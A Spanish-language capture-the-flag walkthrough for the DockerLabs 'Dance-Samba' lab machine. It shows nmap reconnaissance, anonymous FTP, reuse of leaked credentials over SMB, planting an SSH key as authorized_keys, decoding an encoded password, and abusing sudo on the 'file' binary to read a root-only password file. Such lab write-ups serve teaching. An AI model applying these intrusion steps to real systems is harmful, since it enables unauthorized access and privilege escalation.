Dance-Samba
Maquina dance-samba de DockerLabs
Autor: d1se0
Dificultad: Medio

RECONOCIMIENTO
Comenzamos haciendo un escaneo de nmap
:
nmap -p- 172.17.0.2 -n --open --min-rate 5000 -Pn -sSVC -A -oN escaneo.txt
# Nmap 7.94SVN scan initiated Mon Aug 26 13:56:49 2024 as: nmap -p- -n --open --min-rate 5000 -Pn -sSVC -A -oN escaneo.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.00015s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 69 Aug 19 19:03 nota.txt
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:4e:66:7d:e5:2e:cf:df:54:39:b2:08:a9:97:79:21 (ECDSA)
|_ 256 92:bf:d3:b8:20:ac:76:08:5b:93:d7:69:ef:e7:59:e1 (ED25519)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2024-08-26T16:57:05
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
TRACEROUTE
HOP RTT ADDRESS
1 0.15 ms 172.17.0.2
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 26 13:57:09 2024 -- 1 IP address (1 host up) scanned in 20.41 seconds
Vemos que el puerto 21
, 22
, 443
y 139
están abiertos. Sabiendo eso y que no está abierto el puerto 80, usaremos ftp
para conectarnos de manera anonima, ya que nmap nos dice ftp-anon: Anonymous FTP login allowed (FTP code 230)
. Para conectarlo simplemente ejecutamos
ftp 172.17.0.2
ponemos de nombre anonymous
y dejamos la contraseña vacia y ya estariamos dentro del ftp.
Haciendo un ls
vemos lo siguiente:
ftp> ls
229 Entering Extended Passive Mode (|||44635|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 69 Aug 19 19:03 nota.txt
226 Directory send OK.
ftp>
por lo que ahora ponemos get nota.txt
y salimos. En nuestra máquina atacante leemos el archivo .txt y vemos lo siguiente:
I don't know what to do with Macarena, she's obsessed with donald.
Por lo que tenemos un posible usuario con contraseña: macarena:donald
.
Luego de probar si nos sirve para el ssh sin éxito, ejecuto:
smbmap -u macarena -p donald -H 172.17.0.2
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
macarena READ, WRITE
IPC$ NO ACCESS IPC Service (f9bd436dad44 server (Samba, Ubuntu))
Como vemos hay una carpeta llamada "macarena", entonces ahora nos conectaremos con smbclient
ejecutando:
smbclient //172.17.0.2/macarena -U macarena -W WORKGROUP
ponemos la contraseña y listo. Ahora como vemos estamos en la carpeta /home/
de el usuario macarena, por lo que podriamos generar una clave ssh en nuestra maquina atacante y meterla en la máquina victima como authorized_keys
.
INTRUSION
Con toda la informacion que tenemos, iremos a nuestra máquina atacante y ejecutaremos ssh-keygen
, esto nos generará una clave privada y una clave publica en nuestra carpeta .ssh
. Volvemos al smb y creamos una carpeta .ssh
en la maquina victima ejecutando mkdir .ssh
, nos metemos y ejecutamos lo siguiente:
put /home/kali/.ssh/id_rsa.pub ./authorized_keys
Una vez hecho eso, iremos a nuestra maquina atacante, a la carpeta ".ssh", y le daremos permisos de ejecución al archivo id_rsa
ejecutando chmod 600 id_rsa
. Ahora simplemente ejecutamos ssh -i id_rsa macarena@172.17.0.2
y ya estaremos dentro.
ESCALADA DE PRIVILEGIOS
macarena
Siendo el usuario macarena, ejecutamos un sudo -l
pero nos pide la contraseña, por lo que no podemos ejecutar nada sin contraseña. Luego de buscar un rato, veo un archivo llamado "hash" en /home/secret/hash
y una password en /opt/password.txt
, pero la password no la puedo leer. Si nos fijamos bien, el hash no es realmente un hash, sino mas parecido a un base64
o base32
, ya que si nos fijamos tiene esto:
MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===
Por lo que iremos a la página CyberChef, y ponemos from base32
y pegamos el "hash". Esto nos dejará un mensaje realmente en base64
:
c3VwZXJzZWN1cmVwYXNzd29yZA==
Como vemos, esto realmente si parece base64
por lo que ejecutamos en la máquina un echo "c3VwZXJzZWN1cmVwYXNzd29yZA==" | base64 -d
y listo, tendremos una contraseña que dice:
supersecurepassword
Por lo que ahora si ejecutamos un sudo -l
y vemos que si es la contraseña de macarena, y nos permite ejecutar el binario "File" como root, por lo que simplemente buscamos en GTFOBins y buscamos el binario file. Como vemos, podemos leer archivos del sistema como root, por lo que simplemente ejecutaremos lo siguiente:
LFILE=/opt/password.txt
y luego ejecutamos:
sudo file -f $LFILE
root:rooteable2
Como vemos, ya tenemos la contraseña de root, por lo que ponemos su
y la contraseña y ya seremos root:

Gracias por leer...
Última actualización